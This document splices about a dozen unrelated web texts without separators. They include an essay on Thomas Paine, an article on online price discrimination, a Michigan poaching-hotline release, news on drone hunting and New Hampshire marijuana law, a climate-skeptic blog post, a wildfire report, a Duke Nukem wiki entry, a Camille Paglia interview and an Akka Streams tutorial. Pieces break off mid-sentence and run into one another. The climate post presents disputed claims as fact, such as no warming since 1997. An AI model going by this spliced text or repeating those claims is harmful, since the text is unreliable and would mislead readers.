Of France, her liberty, and laws.
O’Connor’s affection for Thomas Paine should not be surprising. Paine had lodged with Lord Edward Fitzgerald in Paris, and evidently made a strong impression upon the Irishman, with Fitzgerald writing of him as “my friend Paine…the more I see of his interior, the more I like and respect him. I cannot express how kind he is to me; there is a simplicity of manner, a goodness of heart, and a strength of mind in him, that I never a man before possess.” As Tom Hayden has noted, Paine “lobbied the French Foreign Minister to send an expeditionary force to Ireland…After the election of Jefferson, Paine called for the USA to liberate Ireland by force.” In 1792, Paine had been made an Honorary Member of the Society of United Irishmen, and his influence on the organisation (and others like it internationally) was immeasurable.
The Parliament to which Arthur O’Connor had once belonged famously passed an Act of Union in 1800 which doomed it to abolition, with its privileged parliamentarians becoming the turkeys that voted for Christmas. Today, a statue of Paine’s great foe, the statesmen Edmund Burke, stares at the building from the grounds of Trinity College Dublin. With bricked-up windows and the flag of the Bank of Ireland flying from it, it looks somewhat different to how it appeared in O’Connor’s time.
Famously, Burke condemned the terror of the “swinish multitude” on the streets of Paris during the revolution there. If Burke regarded the revolution in France as a disturbing event, Paine would passionately defend it, seeing in it the same hope for the future that encouraged men like Theobald Wolfe Tone and Arthur O’Connor in Ireland. To O’Connor, Paine was the “plague of princes”, and a guiding light. Perhaps it’s time for some small monument to Paine in Dublin too.Do you think you can find the lowest prices by shopping online? Think again.
A new study by researchers at Northeastern University confirmed the extent to which major e-commerce websites show some users different prices and a different set of results, even for identical searches.
For instance, the study found, users logged in to Cheaptickets and Orbitz saw lower hotel prices than shoppers who were not registered with the sites. Home Depot shoppers on mobile devices saw higher prices than users browsing on desktops. Some searchers on Expedia and Hotels.com consistently received higher-priced options, a result of randomized testing by the websites. Shoppers at Sears, Walmart, Priceline, and others received results in a different order than control groups, a tactic known as “steering.”
Overall, the study confirmed what we’ve known for a long time: Online prices are all over the map, even for the same products. Search results can be influenced by a whole bunch of factors, including your search history, what kind of device you’re using, and where you’re located. For example, two years ago Orbitz was found to be “steering” Mac users towards more expensive hotels. Staples charged different prices for staplers based on where the shopper lived.
A majority of Americans think this kind of price discrimination is illegal. Sorry, it’s not.
Rather, as the Northeastern researchers explain, it’s a bedrock economic principle: Merchants should always try to establish “perfect price discrimination,” whereby a customer is always charged the absolute most he is willing to pay for any given product. Some customers are “elastic,” meaning they have very high price ceilings; others are “inelastic,” and if the price of a product increases just a little bit, they won’t bite.
In brick-and-mortar days, retail assistants might have profiled well-dressed customers as price-elastic and subtly directed them toward more expensive merchandise. Coupon-clippers might have received different treatment. Now, thanks to the Internet, retailers can make much more accurate guesses about how much different customers might be willing to pay, by using cookies to track buying patterns across the web.
Of course, retailers say this isn’t discrimination so much as using the tools and technologies at their disposal. “Presenting different booking paths and options to different customers allows us to determine which features customers appreciate most,” Expedia spokesman Dave McNamee told the Wall Street Journal.
Fortunately, you can play this game too. Here’s how to make sure you see the cheapest prices when you shop online.
Delete your cookies. Retailers use cookies to track you and collect information about your preferences. If you want to see unaltered prices, delete cookies by clearing your browsing history.
Browse privately. The problem with deleting your cookies is that information they contain might also work in your favor—remember that users logged into Orbitz or Cheaptickets sometimes saw lower prices than shoppers who were not logged into the site. So look at products using a “private” window, which will not send the website any information about you. See if the price is higher or lower in that mode. (On Google Chrome, go to “File,” then “Open Incognito Window.”)
Wait. Be inelastic. Put an item in your shopping cart, but don’t buy it. Some online retailers will cut the price to close the deal.
Use tools to price-watch. Try CamelCamelCamel.com, which sends you an alert when the price drops on an Amazon product. When MONEY tried it, the price of a vacuum fluctuated between $212 and $268 over the course of a month.
To bargain-shop like a pro, read MONEY’s feature about how to snag the best deals online.Feb. 23, 2017 Contact: DNR Law Enforcement Division, Communications Section, 517-241-6902 DNR’s Report All Poaching hotline now accepts text messages The Michigan Department of Natural Resources is making it easier for citizens to report fish and game violations through the convenience of text messaging. The Report All Poaching (RAP) hotline (800-292-7800) now accepts text messages in addition to telephone calls. Text messages may include photos. The RAP hotline is a toll-free, 24-hour, seven-days-a-week number that enables citizens to report violations of fish and game laws, as well as other natural resource-related laws. It is operated by DNR’s Law Enforcement Division. The DNR also offers a web-based reporting form. “Poaching is a crime against every Michigan resident. Fish and game are shared resources that must be respected and properly managed,” said Gary Hagler, DNR Law Enforcement Division chief.. “The addition of texting to the RAP system makes it more convenient for the public to do its part in protecting our resources. It also provides law enforcement with immediate and visual information, which are valuable to officers conducting an investigation. This is a great way to harness technology for the benefit of our entire state.” Upon receiving a text, the RAP system immediately replies with a message stating that a dispatcher soon will be in touch with the complainant. A link to the RAP webpage is included. A dispatcher will begin a conversation with the complainant via text, collecting information just as dispatchers would do during a phone call. Complainants wanting to speak to a dispatcher can request a return phone call or call the RAP hotline. RAP dispatchers are highly trained professionals. They operate with state-of-the-art technology and can immediately contact DNR conservation officers in the field. This ability to quickly collect and relay information has led to the arrest and prosecution of numerous violators. The Report All Poaching system was created by legislation in 1980 to address the public’s concerns about the detrimental effects of poaching. The system has paid off and remains a critical tool in safeguarding Michigan’s natural resources. In addition to protecting the personal information of complainants, RAP provides for monetary awards for information leading to the arrest and conviction of poachers. Michigan conservation officers are fully commissioned state peace officers who provide natural resources protection, ensure recreational safety and protect citizens by providing general law enforcement duties and lifesaving operations in the communities they serve. Learn more about Michigan conservation officers at www.michigan.gov/conservationofficers. Michigan+DNR+logo.jpg The Michigan Department of Natural Resources is committed to the conservation, protection, management, use and enjoyment of the state’s natural and cultural resources for current and future generations. For more information, go to www.michigan.gov/dnr.The Alaska Board of Game recently approved a measure that will make spotting animals and hunting them with a drone illegal in the state. The issue was first raised after a moose killing was assisted by drones in 2012, but there were no laws deeming the practice illegal at the time. The draft regulation will be sent to Alaska's Department of Law for review and could be made official by July 1st.
"A lot of times technology gets way ahead of regulations."
Alaska isn't the only state to review drone-hunting practices: the town of Deer Trail, Colorado, will vote in April on whether it could legally issue hunting permits to drones. Supporters claim that permits could not only help hunters, but they could also turn the town into an attraction for gun enthusiasts. However, the Alaskan measure seems to be preventative — drone-hunting isn't widespread in the state yet, but according to the Alaska Wildlife Troopers, the technology is becoming more accessible to hunters. Currently a hunter-helping drone kit costs about $1,000 and they are only getting cheaper, which means hunters with drones will have an easier time spotting animals by using the devices to fly over trees and other obstacles.
While Alaska debates using drones to capture animals, other states have debated the legality of using drones to spy on hunters. PETA's Air Angels program, which used drones to help residents monitor hunters' activities in their area, was made illegal in Illinois. The state believed the program would interfere with hunters and fishermen, while PETA claimed the program was a way for residents to report suspicious, and possibly illegal, activity. The legality of hunting (and spying on hunters) with drone tech is still blurry — especially in light of a recently contested court decision to lift the ban on commercial drones — but it now seems like states are working to define it before the federal government tries to do so for them.LAKE FOREST – Congratulations, Matt Forte.
You’re No. 1 … times two.
Which is to say, you’re No. 2.
In another city, for another team, at another position, No. 2 might not be a big deal. But when you are a running back for the Bears, it’s an enormous accomplishment.
Because Walter Payton is the No. 1 running back in franchise history, and that will never change. Some day, we’ll have flying cars, but “Sweetness” still will be No. 1. We’ll have a cure for hiccups and chips in our brains, but Payton will remain on top.
Therefore, the best Forte could achieve is No. 2.
He’s done it.
“I’m just humbled by it,” Forte said Friday at Halas Hall.
Lost in the Bears’ maddening second-half skid is the fact that Forte has seized the silver medal in almost every career rushing category in franchise history. In the past few weeks, he has climbed to No. 2 in rushing yards (6,298), receiving yards by a running back (2,770), total yards from scrimmage (9,068), games with 150-plus yards from scrimmage (15), and yards from scrimmage a game (104.2).
On the way, Forte has passed great running backs with names such as Gale Sayers, Neal Anderson, Rick Casares and Matt Suhey. Forte now trails only Payton, who has a 10,428-yard lead in rushing and a 12,196-yard lead in yards from scrimmage.
“It’s an individual type of statistic, but it takes the whole team,” said Forte, who needs 29 rushing yards to reach the 1,000-yard milestone for the fourth time in |
tell, we are bruised but not broken. However, when mourning comes, we all could stand to pause for a moment and listen to our hearts.
4.35 / 5 ( 23 )
Tell Us How We're Doing... Was This Article Helpful?CONCORD, N.H. (AP) _ New Hampshire residents could possess one-quarter ounce or less of marijuana without facing jail under a bill headed to the state Senate.
The House voted 193-141 Tuesday to decriminalize the small amount of the drug, making possessing it a violation subject to a $200 fine. Under current law, possessing that amount could mean spending a year in jail and paying a $2,000 fine.
Supporters argued current law costs youths who experiment with the drug all chances at receiving financial aid to attend college. They said it wasn't fair to penalize them for life for a youthful mistake.
Windham Republican Jason Bedrick said he doesn't advocate using marijuana, but that wasn't the issue.
"The question is whether a teenager making a stupid decision should face a year in prison and loss of all funding for college," said Bedrick.
Bedrick called the state's penalties "overly harsh."
"What societal interest is served by giving them a record for life?" he said. Instead of harsh penalties, society should emphasize education, he said.
Opponents pointed out that the bill would not change stiffer penalties for transporting the same quarter ounce or selling it. They said that youths caught in a car would still face a misdemeanor and those selling it, a felony.
Whitefield Republican John Tholl, police chief in Dalton, said reducing the penalty in the selective circumstance to little more than a parking ticket could lead to trouble for youths confused by the law's distinctions between possession, transporting and sale.
"The controlled drug statute is complex and involved," he said.
"For example, if someone has a quarter ounce in his possession and gives some to a buddy, he can be arrested and charged for sale and a felony," said Tholl. "If we send a message to young people that a quarter ounce is not big deal, they're going to ignore the potential problems coming."The end of the Global Warming Scare would look a lot like this
Soon, the moment will come when the crowd will say “I always knew it was fake”.
Here are three signs we are at the beginning of The End.
1. Op-Ed writers will be pointing out how governments are unwinding policies: Dominic Lawson: Britain Has Finally Rejected The Bogus Economics Of Climate Change. Germany (home of half the worlds solar energy production) is winding up its pursuit of renewables, and eight Eastern European nations said “No Thanks” (legally) to the EU’s authoritarian dictat on carbon emissions, and hardly anyone complained…
And which energy source is ecologically correct Germany now developing faster than any other? Lignite, otherwise known as brown coal, the most carbon- intensive fuel known to modern man.
This makes the countries on the European Union’s eastern borders (notably Poland, for which indigenous coal is a dominant energy source) even more reluctant to accept the national emissions targets promoted by Brussels. Eight of these nations launched a legal challenge and last week they won a ruling by the European Court of Justice that Brussels had exceeded its powers in imposing such limits. The court brushed aside the European commission’s complaint that it would not otherwise be able to “protect the integrity of the EU-wide market of [carbon] allowances”.
The most telling point is that this verdict gained almost no coverage. As Benny Peiser, director of the Global Warming Policy Foundation, observes: “In the past, Poland’s intractable hostility to green unilateralism was greeted by protestation in capitals around Europe. Today it is hardly noticed by the media, while green campaigners have become limp... Other and more pressing concerns are taking precedence and are completely overriding the green agenda.”
2. Yet another solar company will go ffhtt: German Solar Giant Goes Belly Up.
3. And writers will tell us how skeptics are winning:
For years S. Fred Singer was one of a few voices to challenge the claims of impending doom from alleged manmade global warming.
TEXT BY MARK LANDSBAUM
We visited with him during his recent visit to Chapman University. It was a happy occasion. After years of criticizing the allegedly “settled science,” Singer’s side of the debate is enjoying new and widespread credibility. This is thanks to many convergent developments.
First, there’s that inconvenient problem for warmists that the scant atmospheric heating they pointed to as evidence of looming doom pretty much stopped about 15 years ago. It’s awkward to keep screaming that the sky is falling when everyone can see it isn’t.
Then there are the discoveries of how alleged climate experts for years bullied dissenters, plotted to keep opposing views out of peer-reviewed publications and doctored data to conveniently arrive at the necessary conclusions to keep “the cause” alive. “The cause” is how insiders referred to what they wanted you to believe is impartial science. But it always has been a cause, almost religiously so. We know these things now thanks to two massive leaks of emails revealing accounts of the insiders’ candid hand-wringing and scheming.
Also in recent years has been an awakening among respectable scientists, heretofore content to go along with the supposed “consensus” about manmade global warming’s threat. One of them, David M.W. Evans, formerly of the Australian Greenhouse Office (now the Department of Climate Change), became skeptical when he discovered the main global warming argument collapsing from 1998-2006.
Evans’ epiphany exemplified another of the convergent developments that have aided Fred Singer’s side. Evans and others simply compared warmists’ gloomy predictions with what really came to pass. The theory collapsed. Facts are stubborn. Contrived hypotheses, not so much.
In 1988, for instance, James Hansen, the “father of global warming,” predicted that global temperatures by 2000 would soar even if CO2 levels didn’t increase. But the temperature didn’t rise as he said it would, even though CO2 soared during those years. If warmists’ were correct, there should have been a corresponding rise in temperature.
…
Warmists recently celebrated when they thought they had offset what we call the Singer Effect. Physics professor Richard Mueller, previously a climate skeptic*, conducted the Berkeley Earth Surface Temperature review and nearly duplicated the IPCC’s claim about temperature increases. Even though he found surface measuring stations “quality is largely awful,” and even though he discovered there are only about a third as many stations in the U.S. as there were 40 years ago, he nevertheless concluded, based on “more than 1.6 billion measurements from more than 39,000 temperature stations around the world,” that “global warming is real.”
But let’s be blunt. So what?
Climates warm and cool, and always have. The Earth has been coming out of the Little Ice Age for a little more than a century. Of course, it’s warmer than it was. Global warming enthusiasts read too much into Mueller’s findings. He used essentially the same flawed raw data the warmists before him used. Is it surprising he came up with about the same amount of warming?
…
We don’t need Mueller’s best or even satellite, ocean, balloon or proxy measurements to prove that. The warmists’ favorite sources in Great Britain for alarmism, East Anglia’s Climate Research Center and the Meteorological Office, now grudgingly concede there has been no meaningful warming since 1997. The Earth may even be cooling, the Met says.
In the race to explain climate, it looks as if skeptics are pulling into the lead.
Read the whole article at the Orange County Register. Savour the moment. (I’m sure Fred Singer is, after all the flack that has been thrown at him over the last 20 years.)
The poor desperate fans of a dying religion will scoff that it’s only the O C Register. Sure, we say. Sure! It’s only a quarter of a million readers…
* OK. So this is the only line that was wrong in the otherwise exemplary story. Mueller was never a skeptic.
H/t for the top links from GWPF and Benny Peiser
VN:F [1.9.22_1171]
please wait... Rating: 9.1/10 (120 votes cast)UPDATE: The battle to control and extinguish the wildfire at Sam's Point Preserve is entering its fourth day. More firefighters from outside Ulster County are joining the fight on Tuesday.
Hundreds of firefighters and other emergency responders are involved. The fire has consumed more than 800 acres. There is some rain in Tuesday's forecast, but it remains to be seen whether it will be enough to help stop the fire.
**********
CRAGSMOOR – The smell of thick, black, wood smoke stuck in the throat as it billowed high into the afternoon sky. Flames threaded across the crest of the Shawangunk Ridge, and the sound of helicopter blades droned on for hours. From Cragsmoor’s quaint Stone Church, the view across the ridge look something like a war zone.
For a third day on Monday, more than 200 emergency crew members responded to a wildfire at Sam’s Point Preserve in Minnewaska State Park.
The fire claimed more than 800 acres by Monday afternoon as it spread northward across the ridge, said Eric Humphrey, park manager at Minnewaska State Park. The size of the fire, which began about 2:15 p.m. Saturday near a trail at Verkeerderkill Falls, had more than doubled since Sunday afternoon.
“We’re seeing 35-40-foot flames out of the treetops,” Humphrey said late Monday afternoon. “We expect to see high smoke conditions for days to come.”
As of Monday afternoon no homes were in danger, but crews were taking precautions to protect property.
Scores of crew members from the state Department of Environmental Conservation; Division of Homeland Security; Parks, Recreation and Historic Preservation; New York State Police; Office of Fire Prevention and Control and Office of Emergency Management were assisting nearly 115 volunteer firefighters from more than 20 local fire departments, Humphrey said.
Two state police helicopters had been conducting water-dropping operations almost nonstop during daylight hours since Saturday, dumping 250 gallons of water apiece at every pass.
Crews set up staging areas at the Sam’s Point Welcome Center, at the Cragsmoor firehouse and along Mandell Road in Pine Bush.
A crew of about eight DEC members collapsed in exhaustion in a field off Mandell Road Extension, beneath the curtain of grey smoke along the eastern side of the ridge. They guzzled water and wolfed down sandwiches from brown paper bags, supplied by volunteers at the Cragsmoor firehouse.
Andrew Bajardi, chief ranger at Mohonk Preserve, said crews were keeping their fingers crossed for rain, which was forecast for Monday night and Tuesday.
“The weather has not really been working in our favor so far,” Bajardi said. “We’re going to keep proceeding as if the rain is not coming, and we won’t breathe easier until it does.”
Adjacent to the field where Bajardi and his crew members stopped for a brief rest, Jerry and Lana Privitera sat on their deck, watching the fire.
“Every two minutes, I’m turning my head to make sure it’s not coming this way,” Lana Privitera said.
The couple have lived in Pine Bush for five years and own a bagel shop in Montgomery. They hadn’t spoken with the nearby state crew, but left bagels for them in the bed of truck as they worked in the woods, creating fire breaks along the old logging roads.
“I think everyone is extremely happy that we’re here, protecting their property,” Bajardi said.
Cragsmoor Fire Chief Joe Monell on how the fire got started.
Cragsmoor Fire Chief Joe Monell on the latest on the fireDuke Nuclear Winter (also called Duke: Nuclear Winter or Duke Nukem: Nuclear Winter) is an expansion pack to 3D Realms's first-person shooter, Duke Nukem 3D. It was developed by Simply Silly Software and published by WizardWorks. The expansion was released on December 30, 1997.
Contents show]
Plot Edit
Santa Claus has been captured and brainwashed by the aliens that Duke defeated last time; however, to make matters worse, they're supported by a new enemy force calling themselves the Feminist Elven Militia. Duke Nukem needs to travel to the North Pole in order to stop Santa Claus and the intruders together with whatever evil plan he has planned. Our hero will visit many familiar locations during his journey but also new locations.
Level design Edit
Most levels in the game are snow themed including previously visited levels like Red Light District and Hollywood Holocaust which the player went through in the original game. However, there are also new levels which will have the player travel to such as the headquarters of Santa Claus, a large town village and a toy factory.
Enemies Edit
Apart from containing several new enemies like snow men that throw snow balls at the player, and female elves that use dual sub-machine guns, old enemies also make a comeback such as Pig Cops and Enforcers with Christmas costumes to fit the general theme of the game. Santa Claus, appropriately going by the name Santa Claws as well, also makes an appearance as the boss of the episode.
Reception Edit
Duke: Nuclear Winter was largely met with a negative response by fans of Duke Nukem 3D. The majority of fans didn't like the fact that the player visits two levels from the original game, and considered it a lazy move by the developers just to fill out the expansion in order to make it last longer.
In fact these levels were very much changed. There were new secrets, changed areas and new enemy/weapon placements.
Trivia Edit
Duke has a scarf and ear muff's on the box art for the game but his sprites in the actual game remain unchanged.
This expansion didn't add any new Quotes from Duke Nukem to fit the Christmas theme.
The title of the game, Nuclear Winter, is obviously a reference to the climatic effect of a global all-out nuclear war.
, is obviously a reference to the climatic effect of a global all-out nuclear war. Mario from the extremely popular Mario games can be found in the Land of Forgotten Toys level; he has his back turned to the player and is seen playing Mario Kart on a TV.
Santa Claws movie posters can be found throughout the game - whether they're supposed to be an homage or not to the Santa Claws movie is not made clear.
movie posters can be found throughout the game - whether they're supposed to be an homage or not to the Santa Claws movie is not made clear. A small portion of the first level from the popular Doom game was recreated in Duke: Nuclear Winter when the player enters a portal from the Land of Forgotten Toys level in order to find a Access Card. A space marine's severed mutilated corpse can be found in the level.
when the player enters a portal from the Land of Forgotten Toys level in order to find a Access Card. A space marine's severed mutilated corpse can be found in the level. The first two levels in Duke: Nuclear Winter are modified versions of the first two levels in L.A. Meltdown and whilst having some new places to explore, some events that already happened in the original versions will happen again in the Nuclear Winter versions, such as an earthquake just before going up the stairs before a hole in the wall emerges in Where It All Began (which also happened in its counterpart from the original game Hollywood Holocaust).
Unlike the Enforcer's and Troopers new sprites that replace their original counterparts, the Christmas Pig Cop sprites in this don't replace the original Pig Cops since for unknown reasons the original Pig Cop's sprites are replaced by Santa Claws and the Christmas Pig Cop sprites replace other sprites.
The Episodes that come with the original Duke Nukem 3D are rendered almost unplayable while Nuclear Winter is active due to sprites being replaced. (The Battlelord, the Overlord and the Cycloid Emperor are inactive etc.). A particularly notable change is all the original Pig Cops encountered in the normal episodes will be replaced by Santa Claws since he overrides their sprites; so if there was five pig cops in one area normally the player would have to face five Santa Claws' instead, and if the player killed one it would automatically end the episode (the player's chances of survival against more than one Santa Claws would be quite low in any case).We’re closing 2016 by republishing our ten most-read articles of the year. Here’s No. 1: Emily Hill’s interview with Camille Paglia, in which the iconoclastic professor labels Hillary Clinton a ‘disaster’
Talking to Camille Paglia is like approaching a machine gun: madness to stick your head up and ask a question, unless you want your brain blown apart by the answer, but a visceral delight to watch as she obliterates every subject in sight. Most of the time she does this for kicks. It’s only on turning to Hillary Clinton that she perpetrates an actual murder: of Clinton II’s most cherished claim, that her becoming 45th president of the United States would represent a feminist triumph.
‘In order to run for president of the United States, you have to spend two or three years of your life out on the road constantly asking for money and most women find that life too harsh, too draining,’ Paglia argues. ‘That is why we haven’t had a woman president in the United States — not because we haven’t been ready for one, for heaven’s sakes, for a very long time…’
Hillary hasn’t suffered — Paglia continues — because she is a woman. She has shamelessly exploited the fact: ‘It’s an outrage how she’s played the gender card. She is a woman without accomplishment. “I sponsored or co-sponsored 400 bills.” Oh really? These were bills to rename bridges and so forth. And the things she has accomplished have been like the destabilisation of North Africa, causing refugees to flood into Italy… The woman is a disaster!’
Not that Paglia was always opposed to the Clintons. She voted for Bill Clinton twice before becoming revolted by the treatment meted out to Monica Lewinsky: ‘One of the very first interviews I did here — the headline was “Kind of a bitch — why I like Hillary Clinton”. My jaundiced view of her is entirely the result of observing her behaviour. And last election, I voted for Jill Stein’s Green party. So I have already voted for a woman president.’
As far as most feminists are concerned, such a view is unconscionable. Gloria Steinem and Madeleine Albright made it their business to castigate American girls who wanted Bernie Sanders, while Madonna has promised a blowjob for every Clinton vote. Professor Paglia does not seem to mind much if she makes herself violently unpopular with her contemporaries — she’s an expert at it. Currently professor of the humanities at the University of the Arts in Philadelphia, she first shot to fame in 1990 with the publication of Sexual Personae — a manuscript turned down by seven publishers before it became a bestseller.
Paglia’s feminism has always been concerned with issues far beyond her own navel and the Hillary verdict is typical of her attitude — which is more in touch with women in the real world than most feminists’ (a majority of Americans, for example, have an ‘unfavourable view of Hillary Clinton’ according to recent polling).
‘My philosophy of feminism,’ the New York-born 69-year-old explains, ‘I call street-smart Amazon feminism. I’m from an immigrant family. The way I was brought up was: the world is a dangerous place; you must learn to defend yourself. You can’t be a fool. You have to stay alert.’ Today, she suggests, middle-class girls are being reared in a precisely contrary fashion: cosseted, indulged and protected from every evil, they become helpless victims when confronted by adversity. ‘We are rocketing backwards here to the Victorian period with this belief that women are not capable of making decisions on their own. This is not feminism — which is to achieve independent thought and action. There will never be equality of the sexes if we think that women are so handicapped they can’t look after themselves.’
Paglia traces the roots of this belief system to American campus culture and the cult of women’s studies. This ‘poison’ — as she calls it — has spread worldwide. ‘In London, you now have this plague of female journalists… who don’t seem to have made a deep study of anything…’
Paglia does not sleep with men — but she is, very refreshingly, in favour of them. She never moans about ‘the patriarchy’ but freely asserts that manmade capitalism has enabled her to write her books.
As for male/female relations, she says that they are far more complex than most feminists insist. ‘I wrote a date-rape essay in 1991 in which I called for women to stand up for themselves and learn how to handle men. But now you have this shibboleth, “No means no.” Well, no. Sometimes “No” means “Not yet”. Sometimes “No” means “Too soon”. Sometimes “No” means “Keep trying and maybe yes”. You can see it with the pigeons on the grass. The male pursues the female and she turns away, and turns away, and he looks a fool but he keeps on pursuing her. And maybe she’s testing his persistence; the strength of his genes… It’s a pattern in the animal kingdom — a courtship pattern…’ But for pointing such things out, Paglia adds, she has been ‘defamed, attacked and viciously maligned’ — so, no, she is not in the least surprised that wolf-whistling has now been designated a hate crime in Birmingham.
Girls would be far better advised to revert to the brave feminist approach of her generation — when women were encouraged to fight all their battles by themselves, and win. ‘Germaine Greer was once in this famous debate with Norman Mailer at Town Hall. Mailer was formidable, enormously famous — powerful. And she just laid into him: “I was expecting a hard, nuggety sort of man and he was positively blousy…” Now that shows a power of speech that cuts men up. And this is the way women should be dealing with men — finding their weaknesses and susceptibilities… not bringing in an army of pseudo, proxy parents to put them down for you so you can preserve your perfect girliness.’
In an hour’s non-stop talking, Professor Paglia is only lost when asked which younger feminists she would pass the baton to. ‘I would love to inspire dissident young feminists to realise that this brand of feminism is not all feminism…’ she says, before citing Germaine Greer as the woman she admires most alive, and Amelia Earhart and Katharine Hepburn as heroines alas dead.
As with Greer, it is Paglia’s power of speech that utterly devastates. Her collected works read like a dictionary of vicious quotations. (Leaving sex to the feminists? ‘Like letting your dog vacation at the taxidermist.’ Lena Dunham? ‘She’s a big pile of pudding.’) Paglia is pro-liberty, pro–pornography, pro-prostitutes and anti- any and all special treatment when it comes to women in power: ‘I do not believe in quotas of any kind. Scandinavian countries are going in that direction and it’s an insult to women — the idea that you need a quota.’ Which brings us back to Hillary and the so-called victory her re-entering the White House would represent: ‘If Hillary wins, nothing will change. She knows the bureaucracy, all the offices of government and that’s what she likes to do, sit behind the scenes and manipulate the levers of power.’
Paglia says she has absolutely no idea how the election will go: ‘But people want change and they’re sick of the establishment — so you get this great popular surge, like you had one as well… This idea that Trump represents such a threat to western civilisation — it’s often predicted about presidents and nothing ever happens — yet if Trump wins it will be an amazing moment of change because it would destroy the power structure of the Republican party, the power structure of the Democratic party and destroy the power of the media. It would be an incredible release of energy… at a moment of international tension and crisis.’
All of a sudden, the professor seems excited. Perhaps, like all radicals in pursuit of the truth, Paglia is still hoping the revolution will come.Mastering GraphStages (part I, Introduction)
Akka Streams provide a rich set of built-in combinators and utilities that users of the library can combine in flexible ways to achieve new functionality (most notable are the workhorses mapAsync and statefulMapConcat ). With the GraphDSL and its first class cycles support one can build reusable pieces out of smaller building blocks, while still providing simple interfaces like a Sink or Flow (see http://doc.akka.io/docs/akka/2.4/scala/stream/stream-composition.html for more in-depth information). Still, there are times when these tools are not flexible enough and we need something more powerful. Akka Streams is based on, and fully compatible with, the interfaces standardized by the Reactive Streams specification (reactive-streams.org) so one might naturally think about implementing missing features directly in terms of the Reactive Streams APIs, Publisher, Subscriber and Processor. In practice this is much more work than one might expect. Reactive Streams are by far more than just 7 simple methods, they are a concurrency protocol that each of its parts must adhere to. These behaviours are tested by a rigorous and rather large set of tests in its official TCK (Technology Compatibility Kit) which we’ve built. As we were working on Akka Streams over the span of the last 2 years it became clear that customization cannot be ignored and the Reactive Streams interfaces are too low level for general purpose stream programming, and especially end-users should not be exposed to the pains of implementing a correct Processor if they wanted to extend Akka Streams with new functionality. Hence, the GraphStage API was born.
This is an introductory post where I will enumerate and introduce the features that the GraphStage model provides. Don’t worry if you don’t fully understand all the details here, we will explain these in detail in future posts.
Backpressure model
Backpressure, in general, is a method where a consumer is able to regulate the rate of incoming data from a corresponding producer. One possible way to implement backpressure is to have the consumer handing out permits to the producer: “you are allowed to send 4 more items”. If a producer runs out of permits, it must stop until further permits arrive. This is exactly the same method that Reactive Streams specifies (you might want to read this interview with the creators for more details: Viktor Klang’s Reactive Streams 1.0.0 interview).
When we talk about backpressure, we usually assume that the two entities, the producer and consumer can progress independently, concurrently, otherwise there is not much need to regulate rates since they execute in lock-step, synchronously. Right? Almost. It is quite possible that a long chain of single-threaded computations is sandwiched between a concurrent producer and consumer:
Although the stages of the pipeline in-between execute synchronously, in lock-step, they must still preserve backpressure across all steps of the chain. One example would be a stage in the pipeline that is a 1-to-N stage, emitting multiple elements for each consumed element. In this case, even though the downstream consumer can accept, let’s say 100 elements per second, and the upstream producer does not provide more than 50 elements per second, putting a 1-to-100 stage in-between will still result in overwhelming the consumer fiftyfold. Take for example an upstream producer of user identifiers: its output processed by a stage that emits the last 100 activities for that user id will amplify the rate of user ids hundredfold. It is clear that the stage itself must properly translate the backpressure signal between its upstream and downstream. If there are several such stages in a synchronous chain, then the translation must happen at each of them even though they are running synchronously. Somewhat more complicated is the situation when N-to-1 stages are added to the chain (think of a simple.filter() ). As a consequence, we wanted to have an abstraction that preserves and properly translates backpressure in synchronous and asynchronous settings as we expected a mixture of these to be used in practice.
There is one important simplification that we figured out early when we experimented with various models for custom stages that can work in both synchronous and asynchronous settings (and the most ambitious: for arbitrary graphs). It is not necessary to use a variable count of permits in the synchronous setting, it is enough to have at most a permit of 1 between each consumer/producer. This simplifies the model of communication to two simple operations (not counting closing)
Pull - a consumer can pull its input to request a new element. It cannot be pulled again until a new element arrives
Push - a producer can push to its output if it has been pulled before. It cannot push again until a new pull arrives
(these states, and the full state-space of input and output ports are fully described in the documentation: Port states: InHandler and OutHandler)
This is a very simple model, but one might wonder, how does this map to the more generic permit based model of Reactive Streams? It would be very inefficient if Akka Streams based Subscribers would request from a Publisher one-by-one, instead of requesting larger batches, since in an asynchronous setting all communication have a cost. The solution is that in Akka Streams, a stage that has an asynchronous upstream pulls from a buffer, not directly from the upstream Publisher, and it is the buffer that requests new elements once a certain number of elements have been taken out (usually half the buffer size).
In summary, the GraphStage API provides a simplified model of Reactive Streams backpressure and a model that works seamlessly in asynchronous and synchronous settings (and the mixture of these), handling all the buffering automatically for you. On top of this, we also hide all the nitty-gritty details of the Reactive Streams specifications from you: it is not necessary to test your stages against the TCK as they are already conforming by design.
Solving TCK compliance is just one of the issues though. In practice, it is the concurrency part where things tend to blow up in rather spectacular ways. What’s more, with low-level implementations such errors would happen “sometimes”, making them insanely hard to reproduce and debug; with GraphStage you get all the information about the mistake at the first mistake.
Threading model
In the GraphStage API, all the callbacks you might receive are linearized.
This means that you can safely assume that no two callbacks will execute at the same time (or overlap). Or to put it another way, callbacks are not concurrent with each other. There is also no need to worry about visibility of local variables of a stage: it is properly handled by the library for you. The whole model is very similar to how actors work, where messages are processed in sequence, and accessing local state while handling the message is safe. No need to mess around with volatile variables, atomics or locks to safely manage internal state. Again, I have to emphasize, this is fully transparent and your stage will work in both asynchronous and synchronous settings. Even better, the internal implementation does not use any locks either, and is non-blocking in general.
Error handling model
It is great to have all these features that reduce exposure to concurrency issues, but there are still plenty of mistakes to make, and bugs to write. I have good news for you. The GraphStages API provides excellent error handling (I am allowed to say “excellent” here as I have debugged so many streams issues that I have earned this right with tears and blood ;-)). There is no need to put try-catch blocks around your code just to prevent the error to propagate to an unknown place (the thread-pool thread that you are running on for example) and to turn it into a proper Reactive Streams teardown event, onError. Catch the errors that you can handle, and leave the rest to Akka Streams. Your error will be properly caught and translated to the necessary stream signals, your postStop will be called, and the stage will retire in peace properly closing every input or output port that was still open.
What about bugs related to streams itself, like trying to overflow a downstream consumer? Unlike in raw Reactive Streams land, where such an act is undefined behavior, the GraphStage infrastructure (the mighty GraphInterpreter to be precise) intercepts the attempt and will
Log the error telling you what you did wrong ( "Cannot push port P twice" ) Throw an exception The exception is turned into stage completion, properly signalling the error to all Subscribers and closing all ports
In other words, even mistakes like this are turned into a clean shutdown with detailed information on the cause. If you would write a raw Reactive Streams Publisher there would be no guarantee on what happens as the Subscriber getting the overflow might or might not throw an exception. Even if it would, you would need to protect all those calls with a try-catch and put cleanup logic to all those places (with even more edge-cases, like “am I allowed to signal the error to the Subscriber which I just messed up right now by overflowing its buffer?”). What’s worse with low-level implementations is that often such errors would happen “sometimes”, making them insanely hard to reproduce and debug; with GraphStage you get all the information about the mistake at the first mistake.
